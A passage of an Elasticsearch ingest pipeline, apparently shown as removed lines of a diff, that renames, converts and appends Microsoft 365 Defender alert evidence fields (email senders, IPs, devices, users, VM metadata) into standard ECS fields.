-  - foreach:
-      field: json.evidence
-      tag: foreach_evident_ipInterfaces
-      if: ctx.json?.evidence instanceof List
-      processor:
-        foreach:
-          field: _ingest._value.ipInterfaces
-          tag: inside_foreach_convert_ipInterfaces
-          ignore_missing: true
-          processor:
-            convert:
-              field: _ingest._value
-              tag: foreach_convert_ipInterfaces
-              type: ip
-              ignore_missing: true
-              on_failure:
-                - remove:
-                    field: _ingest._value
-                    ignore_missing: true
-                - append:
-                    field: error.message
-                    value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_ip_interfaces
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.ipInterfaces
-          tag: rename_foreach_ip_interfaces
-          target_field: _ingest._value.ip_interfaces
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_ip_interfaces_to_host_ip
-      if: ctx.json?.evidence instanceof List
-      processor:
-        foreach:
-          field: _ingest._value.ip_interfaces
-          tag: foreach_append_ip_interfaces_to_host_ip
-          ignore_missing: true
-          processor:
-            append:
-              field: host.ip
-              tag: append_ip_interfaces_to_host_ip
-              value: '{{{_ingest._value}}}'
-              allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_ip_interfaces_to_related_ip
-      if: ctx.json?.evidence instanceof List
-      processor:
-        foreach:
-          field: _ingest._value.ip_interfaces
-          tag: foreach_append_ip_interfaces_to_related_ip
-          ignore_missing: true
-          processor:
-            append:
-              field: related.ip
-              tag: append_ip_interfaces_to_related_ip
-              value: '{{{_ingest._value}}}'
-              allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_detailedRoles
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.detailedRoles
-          tag: rename_foreach_detailedRoles
-          target_field: _ingest._value.detailed_roles
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_remediationStatusDetails
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.remediationStatusDetails
-          tag: rename_foreach_remediationStatusDetails
-          target_field: _ingest._value.remediation_status_details
-          ignore_missing: true
-  - rename:
-      field: json.incidentId
-      tag: rename_incidentId
-      target_field: m365_defender.alert.incident_id
-      ignore_missing: true
-  - uri_parts:
-      field: json.incidentWebUrl
-      tag: uri_parts_incidentWebUrl
-      target_field: m365_defender.alert.incident_web_url
-      if: ctx.json?.incidentWebUrl != null
-      keep_original: true
-      on_failure:
-        - remove:
-            tag: remove_json_incidentWebUrl_109036dc
-            field: json.incidentWebUrl
-        - append:
-            tag: append_error_message_08848c8b
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.providerAlertId
-      tag: rename_providerAlertId
-      target_field: m365_defender.alert.provider_alert_id
-      ignore_missing: true
-  - rename:
-      field: json.recommendedActions
-      tag: rename_recommendedActions
-      target_field: m365_defender.alert.recommended_actions
-      ignore_missing: true
-  - date:
-      field: json.resolvedDateTime
-      tag: date_resolvedDateTime
-      target_field: m365_defender.alert.resolved_datetime
-      formats:
-        - ISO8601
-      if: ctx.json?.resolvedDateTime != null && ctx.json.resolvedDateTime != ''
-      on_failure:
-        - append:
-            tag: append_error_message_3911a726
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.status
-      tag: rename_status
-      target_field: m365_defender.alert.status
-      ignore_missing: true
-  - rename:
-      field: json.threatDisplayName
-      tag: rename_threatDisplayName
-      target_field: m365_defender.alert.threat_display_name
-      ignore_missing: true
-  - rename:
-      field: json.title
-      tag: rename_title
-      target_field: m365_defender.alert.title
-      ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_dot_expander
-      if: ctx.json?.evidence instanceof List
-      processor:
-        dot_expander:
-          field: '@odata.type'
-          path: _ingest._value
-          ignore_failure: true
-          override: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_@0data
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.@odata.type
-          tag: foreach_rename_evidence_@odata
-          target_field: _ingest._value.odata_type
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_receivedDateTime
-      if: ctx.json?.evidence instanceof List
-      processor:
-        date:
-          field: _ingest._value.receivedDateTime
-          tag: date_foreach_evidence_receivedDateTime
-          target_field: _ingest._value.received_datetime
-          formats:
-            - ISO8601
-          on_failure:
-            - remove:
-                field: _ingest._value.receivedDateTime
-                ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_email_Delivery_timestamp
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: email.delivery_timestamp
-          tag: append_foreach_evidence_email_Delivery_timestamp
-          value: '{{{_ingest._value.received_datetime}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_antiSpamDirection
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.antiSpamDirection
-          tag: rename_foreach_antispam_direction
-          target_field: _ingest._value.antispam_direction
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_email_direction
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: email.direction
-          tag: append_foreach_evidence_email_direction
-          value: '{{{_ingest._value.antispam_direction}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_email_subject
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: email.subject
-          tag: append_foreach_evidence_email_subject
-          value: '{{{_ingest._value.subject}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_recipientEmailAddress
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.recipientEmailAddress
-          tag: rename_foreach_evidence_recipientEmailAddress
-          target_field: _ingest._value.recipient_email_address
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_related_user
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.user
-          tag: append_foreach_evidence_related_user
-          value: '{{{_ingest._value.recipient_email_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_email_to_address
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: email.to.address
-          tag: append_foreach_evidence_email_to_address
-          value: '{{{_ingest._value.recipient_email_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_convert_evidence_attachmentsCount
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.attachmentsCount
-          tag: convert_foreach_evidence_attachmentsCount
-          target_field: _ingest._value.attachments_count
-          type: long
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.attachmentsCount
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_deliveryAction
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.deliveryAction
-          tag: rename_foreach_evidence_deliveryAction
-          target_field: _ingest._value.delivery_action
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_deliveryLocation
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.deliveryLocation
-          tag: rename_foreach_evidence_deliveryLocation
-          target_field: _ingest._value.delivery_location
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_append_evidence_internetMessageId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: email.message_id
-          tag: append_foreach_evidence_email_message_id
-          value: '{{{_ingest._value.internetMessageId}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_append_evidence_networkMessageId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: email.local_id
-          tag: append_foreach_evidence_email_local_id
-          value: '{{{_ingest._value.networkMessageId}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_dot_expander_evidence_p1Sender
-      if: ctx.json?.evidence instanceof List
-      processor:
-        dot_expander:
-          field: '@odata.type'
-          path: _ingest._value.p1Sender
-          ignore_failure: true
-          override: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_odata_type
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.p1Sender.@odata.type
-          tag: rename_foreach_evidence_odata_type
-          target_field: _ingest._value.p1_sender.odata_type
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_p2Sender
-      if: ctx.json?.evidence instanceof List
-      processor:
-        dot_expander:
-          field: '@odata.type'
-          path: _ingest._value.p2Sender
-          ignore_failure: true
-          override: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_p2Sender_odata_type
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.p2Sender.@odata.type
-          tag: rename_foreach_evidence_p2Sender_odata_type
-          target_field: _ingest._value.p2_sender.odata_type
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_displayName
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.p1Sender.displayName
-          tag: rename_foreach_p2Sender_displayName
-          target_field: _ingest._value.p1_sender.display_name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_p1Sender_Display_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.user
-          tag: append_foreach_evidence_p1Sender_Display_name
-          value: '{{{_ingest._value.p1_sender.display_name}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_p1sender_domain_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.p1Sender.domainName
-          tag: rename_foreach_evidence_p1sender_domainName
-          target_field: _ingest._value.p1_sender.domain_name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_append_related_hosts_p1sender_domain_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hosts
-          tag: append_foreach_rename_evidence_related_hosts_p1sender_domain_name
-          value: '{{{_ingest._value.p1_sender.domain_name}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_p1sender_emailAddress
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.p1Sender.emailAddress
-          tag: rename_foreach_evidence_p1sender_emailaddress
-          target_field: _ingest._value.p1_sender.email_address
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_email_from_adress
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: email.from.address
-          tag: append_foreach_evidence_email_from_adress
-          value: '{{{_ingest._value.p1_sender.email_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_email_sender_address
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: email.sender.address
-          tag: append_foreach_evidence_email_sender_address
-          value: '{{{_ingest._value.p1_sender.email_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_append_evidence_related_user_p1sender_emailaddress
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.user
-          tag: append_foreach_evidence_related_user_p1sender_emailaddress
-          value: '{{{_ingest._value.p1_sender.email_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_p2sender_displayname
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.p2Sender.displayName
-          tag: rename_foreach_evidence_p2sender_displayname
-          target_field: _ingest._value.p2_sender.display_name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_user_p2sender_display_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.user
-          tag: append_foreach_evidence_user_p2sender_display_name
-          value: '{{{_ingest._value.p2_sender.display_name}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_p2sender_domain_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.p2Sender.domainName
-          tag: rename_foreach_evidence_p2sender_domain_name
-          target_field: _ingest._value.p2_sender.domain_name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_hosts_p2sender_domain_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hosts
-          tag: append_foreach_evidence_hosts_p2sender_domain_name
-          value: '{{{_ingest._value.p2_sender.domain_name}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_p2sender_email_address
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.p2Sender.emailAddress
-          tag: rename_foreach_evidence_p2sender_emailAddress
-          target_field: _ingest._value.p2_sender.email_address
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_append_evidence_p2sender_emailaddress
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: email.from.address
-          tag: append_foreach_evidence_p2sender_emailaddress
-          value: '{{{_ingest._value.p2_sender.email_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_append_user_p2sender_email_address
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.user
-          tag: append_foreach_user_p2sender_email_address
-          value: '{{{_ingest._value.p2_sender.email_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_senderIp
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.senderIp
-          tag: convert_foreach_evidence_senderIp
-          target_field: _ingest._value.sender_ip
-          type: ip
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.senderIp
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_source_ip_sender_ip
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: source.ip
-          tag: append_foreach_evidence_source_ip_sender_ip
-          value: '{{{_ingest._value.sender_ip}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_related_ip_sender_ip
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.ip
-          tag: append_foreach_evidence_related_ip_sender_ip
-          value: '{{{_ingest._value.sender_ip}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_threatDetectionMethods
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.threatDetectionMethods
-          tag: rename_foreach_evidence_threatDetectionMethods
-          target_field: _ingest._value.threat_detection_methods
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_urlCount
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.urlCount
-          tag: convert_foreach_evidence_urlCount
-          target_field: _ingest._value.url_count
-          type: long
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.urlCount
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_instanceId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.instanceId
-          tag: convert_foreach_evidence_instanceId
-          target_field: _ingest._value.instance_id
-          type: string
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.instanceId
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_cloud_instance_id
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: cloud.instance.id
-          tag: append_foreach_evidence_cloud_instance_id
-          value: '{{{_ingest._value.instance_id}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_instanceName
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.instanceName
-          tag: rename_foreach_evidence_instanceName
-          target_field: _ingest._value.instance_name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_cloud_instance_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: cloud.instance.name
-          tag: append_foreach_evidence_cloud_instance_name
-          value: '{{{_ingest._value.instance_name}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_appId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.appId
-          tag: convert_foreach_evidence_appID
-          target_field: _ingest._value.app_id
-          type: string
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.appId
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_displayName
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.displayName
-          tag: rename_foreach_evidence_display_name
-          target_field: _ingest._value.display_name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_saasAppId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.saasAppId
-          tag: convert_foreach_evidence_saasAppId
-          target_field: _ingest._value.saas_app_id
-          type: string
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.saasAppId
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_vmMetadata_cloudProvider
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.vmMetadata.cloudProvider
-          tag: rename_foreach_evidence_vmMetadata_cloudProvider
-          target_field: _ingest._value.vm_metadata.cloud_provider
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_mdaDeviceId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.mdeDeviceId
-          tag: rename_foreach_evidence_mdaDeviceId
-          target_field: _ingest._value.mde_device_id
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_mdaDeviceId_into_related_hosts
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hosts
-          tag: append_foreach_evidence_mdaDeviceId_into_related_hosts
-          value: '{{{_ingest._value.mde_device_id}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_osPlatform
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.osPlatform
-          tag: rename_foreach_osPlatform
-          target_field: _ingest._value.os_platform
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_host_os_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: host.os.name
-          tag: append_foreach_evidence_host_os_name
-          value: '{{{_ingest._value.os_platform}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_os_platform_related_hosts
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hosts
-          tag: append_foreach_evidence_os_platform_related_hosts
-          value: '{{{_ingest._value.os_platform}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_append_host_os_version
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: host.os.version
-          tag: append_foreach_host_os_version
-          value: '{{{_ingest._value.version}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_append_version_into_related_hosts
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hosts
-          tag: append_foreach_version_into_related_hosts
-          value: '{{{_ingest._value.version}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_azureAdDeviceId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: device.id
-          tag: append_azureAdDeviceId_into_device_id
-          value: '{{{_ingest._value.azureAdDeviceId}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_json_evidence_61979541
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.azureAdDeviceId
-          tag: rename_foreach_evidence_azureAdDeiveId
-          target_field: _ingest._value.azure_ad_device_id
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_defenderAvStatus
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.defenderAvStatus
-          tag: rename_foreach_evidence_defenderAvStatus
-          target_field: _ingest._value.defender_av_status
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_deviceDnsName
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.deviceDnsName
-          tag: rename_foreach_evidece_deviceDnsName
-          target_field: _ingest._value.device_dns_name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_hosts_device_dns_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hosts
-          tag: append_foreach_evidence_hosts_device_dns_name
-          value: '{{{_ingest._value.device_dns_name}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_device_dns_name_to_host_hostname
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: host.hostname
-          tag: append_foreach_evidence_device_dns_name_to_host_hostname
-          value: '{{{_ingest._value.device_dns_name}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_date_firstSeenDateTime
-      if: ctx.json?.evidence instanceof List
-      processor:
-        date:
-          field: _ingest._value.firstSeenDateTime
-          tag: date_foreach_firstSeenDateTime
-          target_field: _ingest._value.first_seen_datetime
-          formats:
-            - ISO8601
-          on_failure:
-            - remove:
-                field: _ingest._value.firstSeenDateTime
-                ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_healthStatus
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.healthStatus
-          tag: rename_foreach_evidence_healthStatus
-          target_field: _ingest._value.health_status
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: double_foreach_evidence__rename_accountName
-      if: ctx.json?.evidence instanceof List
-      processor:
-        foreach:
-          field: _ingest._value.loggedOnUsers
-          tag: inside_foreach_evidence_loggedOnUSers_rename_accountName
-          ignore_missing: true
-          processor:
-            rename:
-              field: _ingest._value.accountName
-              tag: rename_foreach_evidence_accountName
-              target_field: _ingest._value.account_name
-              ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: double_foreach_evidence_append_loggedOnUsers_account_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        foreach:
-          field: _ingest._value.loggedOnUsers
-          tag: inside_foreach_append_loggedOnUsers_account_name
-          ignore_missing: true
-          processor:
-            append:
-              field: related.user
-              tag: append_inside_foreach_loggedOnUsers_account_name
-              value: '{{{_ingest._value.account_name}}}'
-              allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: double_foreach_evidence_rename_loggedOnUsers_domainName
-      if: ctx.json?.evidence instanceof List
-      processor:
-        foreach:
-          field: _ingest._value.loggedOnUsers
-          tag: inside_foreach_rename_loggedOnUsers_domainName
-          ignore_missing: true
-          processor:
-            rename:
-              field: _ingest._value.domainName
-              tag: rename_foreach_loggedOnUsers_domainName
-              target_field: _ingest._value.domain_name
-              ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: double_foreach_evidence_loggedOnUsers_append_domain_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        foreach:
-          field: _ingest._value.loggedOnUsers
-          tag: inside_foreach_loggedOnUsers_append_domainName
-          ignore_missing: true
-          processor:
-            append:
-              field: related.hosts
-              tag: append_inside_foreach_loggedOnUsers_domainName
-              value: '{{{_ingest._value.domain_name}}}'
-              allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: double_foreach_evidence_loggedOnUsers_dot_expander_@odata_type
-      if: ctx.json?.evidence instanceof List
-      processor:
-        foreach:
-          field: _ingest._value.loggedOnUsers
-          tag: inside_foreach_dot_expander_loggedOnUsers
-          ignore_missing: true
-          processor:
-            dot_expander:
-              field: '@odata.type'
-              path: _ingest._value
-              ignore_failure: true
-              override: true
-  - foreach:
-      field: json.evidence
-      tag: double_foreach_evidence_loggedOnUsers_rename_@odata_type
-      if: ctx.json?.evidence instanceof List
-      processor:
-        foreach:
-          field: _ingest._value.loggedOnUsers
-          tag: inside_foreach_loggedOnUsers_rename_@odata_type
-          ignore_missing: true
-          processor:
-            rename:
-              field: _ingest._value.@odata.type
-              tag: rename_evidence_foreach_loggedOnUsers_@odata_type
-              target_field: _ingest._value.odata_type
-              ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_loggedOnUsers
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.loggedOnUsers
-          target_field: _ingest._value.logged_on_users
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_onboardingStatus_rename
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.onboardingStatus
-          target_field: _ingest._value.onboarding_status
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_osBuild
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.osBuild
-          tag: convert_foreach_evidence_osBuild
-          target_field: _ingest._value.os_build
-          type: string
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.osBuild
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_rbacGroupId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.rbacGroupId
-          tag: convert_foreach_evidence_rbacGroupId
-          target_field: _ingest._value.rbac_group.id
-          type: string
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.rbacGroupId
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_rbacGroupName
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.rbacGroupName
-          tag: rename_foreach_evidence_rbacGroupName
-          target_field: _ingest._value.rbac_group.name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_riskScore
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.riskScore
-          tag: rename_foreach_evidence_riskScore
-          target_field: _ingest._value.risk_score
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_dot_expander_vmMetadata
-      if: ctx.json?.evidence instanceof List
-      processor:
-        dot_expander:
-          field: '@odata.type'
-          path: _ingest._value.vmMetadata
-          ignore_failure: true
-          override: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_vmMetadata_@odata_type
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.vmMetadata.@odata.type
-          tag: rename_foreach_evidence_vmMetadata_@odata_type
-          target_field: _ingest._value.vm_metadata.odata_type
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_vmMetadata_resourceId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.vmMetadata.resourceId
-          tag: rename_foreach_evidence_vmMetadata_resourceId
